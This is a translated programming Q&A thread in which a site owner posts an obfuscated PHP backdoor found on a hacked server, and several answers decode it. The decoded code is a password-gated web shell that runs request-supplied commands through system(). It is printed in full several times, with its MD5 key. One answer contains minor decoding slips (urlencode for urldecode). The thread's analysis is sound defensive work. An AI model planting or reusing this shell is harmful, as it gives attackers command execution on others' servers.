我的网站被黑了 - 这段代码做了什么?

时间:2015-08-21 07:45:04

标签: php base64 obfuscation

有人攻击我的网站并包含此代码。有人可以解释它的作用吗?

为了更清晰,我重新格式化了间距。我已经尝试过运行代码,但看起来它只是返回一个md5哈希。这是无害的吗?

<? 

$GLOBALS['_131068239_']=Array(
    base64_decode('bWQ' .'1'),
    base64_decode('' .'dXJsZGV' .'jb' .'2Rl'),
    base64_decode('dX' .'JsZGVjb2Rl'),
    base64_decode('c3lz' .'dGVt')); 
?>

<? function 
     _787708145($i)
        {
            $a=Array(
                'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',
                'cA==',
                'cw==',
                '');
            return base64_decode($a[$i]);
        } 
?>

<?php 
    $_0=_787708145(0);

    $_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));

    if($_1!=$_0)exit;

    $_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);

    if($_2==_787708145(3))exit;

    $GLOBALS['_131068239_'][3]($_2);exit; 
?>

5 个答案:

答案 0 :(得分:6)

在下面的代码评论中回答内容。
简而言之,该脚本允许将shell写入或上载到您的服务器。

后来编辑:绝对不是无害的,用火烧它。

<?php 

$GLOBALS['_131068239_']=Array(
    base64_decode('bWQ' .'1'), // md5 - php function
    base64_decode('' .'dXJsZGV' .'jb' .'2Rl'), // urldecode - php function
    base64_decode('dX' .'JsZGVjb2Rl'), //urldecode - php function
    base64_decode('c3lz' .'dGVt')); //system - php function


function _787708145($i)
        {
            $a=Array(
                'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',
                'cA==',
                'cw==',
                '');
            return base64_decode($a[$i]);
        } 

$_0=_787708145(0); // md5 hash 2caf6917ca3d9a3a85d26029ed623b1a

$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));
// this is a function call md5(urldecode($_REQUEST[p]))
// this script is passed an url as a get or post parameter and getting md5 encoded

if($_1!=$_0)exit; // the md5 hash is compared here with the hash above

$_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]); 
// another function call, urldecode($_REQUEST[s])
// another parameter is passed

if($_2==_787708145(3))exit; // if the urldecode above == blank then exit

$GLOBALS['_131068239_'][3]($_2); 
// execute system function with the "s" parameter, system(s)
// basically writing a shell on your server here

exit; 
// job done, exit :)

答案 1 :(得分:4)

不是无害的。这是删除了混淆内容的代码:

$_0 = '2caf6917ca3d9a3a85d26029ed623b1a';
$_1 = md5(urldecode($_REQUEST['p']));

if ($_1 != $_0) exit;

$_2 = urldecode($_REQUEST['s']);
if ($_2 == '') exit;

system($_2);
exit;

如果服务器上的PHP文件中存在此项,则表示恶意用户可以使用ps参数创建URL,以便在您的服务器上执行任何程序(使用system调用),具有运行您的网络服务器的用户的权限。

我建议你摆脱这个。

答案 2 :(得分:2)

是的,上面的代码是后门。它向用户请求系统命令&amp;此代码在您的服务器上执行该命令。以下是上面的代码!!

<? 
// Here all the strings are base64 encoded
$GLOBALS['_131068239_']=Array(
    base64_decode('bWQ' .'1'),                     // md5
    base64_decode('' .'dXJsZGV' .'jb' .'2Rl'),     // urldecode
    base64_decode('dX' .'JsZGVjb2Rl'),             // urldecode
    base64_decode('c3lz' .'dGVt'));                // system - syntax to execute PHP on the server
?>

在上面的代码中,system用于在服务器上执行命令

<? function _787708145($i)     // Function Created
        {
            $a=Array(
                'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',   // MD5 string 2caf6917ca3d9a3a85d26029ed623b1a
                'cA==',      // p
                'cw==',      // s
                '');
            return base64_decode($a[$i]);
        } 
?>

以上是创建的功能

<?php 
    $_0=_787708145(0);

    $_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));

    if($_1!=$_0)exit;

    $_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);

    if($_2==_787708145(3))exit;

    $GLOBALS['_131068239_'][3]($_2);exit; 
?>

这一行

$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));

_787708145(1) : p

因此$_REQUEST[_787708145(1)])会要求用户输入带p参数名称的值的参数

$GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]) : urlencode($_REQUEST["p"])

$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)])) : md5(urlencode($_REQUEST["p"]))

它将匹配密码if($_1!=$_0)exit;

$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]); : urlencode($_REQUEST["s"]);

if($_2=="s")exit;

现在是最后一部分,即

$GLOBALS['_131068239_'][3]($_2); : system($_2); // $_2 is the value supplied by the user to execute command

答案 3 :(得分:1)

解码base64字符串:

bWQ1md5

dXJsZGVjb2Rlurldecode

c3lzdGVtsystem

MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=2caf6917ca3d9a3a85d26029ed623b1a

dXJsZGVjb2Rlurldecode

cA==p

cw==s

dXJsZGVjb2Rlurldecode

这应该提供对混淆代码目标的一些了解。

答案 4 :(得分:1)

我的WordPress服务器上都感染了病毒,其中包含相同的md5编码密钥。我发布了有关它的here。它被严重混淆,但下面是经过完全解码的病毒。他们在eval()内部的create_function()内部运行代码。

create_function()从PHP 7.2开始已被贬值,因此升级服务器的PHP将防止这种情况再次发生。就我而言,后门位于服务器上每个网站上的所有functions.php文件中,跨两个网站以及每个WordPress主题(无论是否正在使用)中。

$c = "2caf6917ca3d9a3a85d26029ed623b1a";
$p = md5(urldecode($_REQUEST["p"]));
if ($p != $c) exit;
$s = urldecode($_REQUEST["s"]);
if ($s == "") exit;
system($s);
exit;

我也遇到了电子邮件问题,因此我怀疑他们正在运行发送垃圾邮件的程序。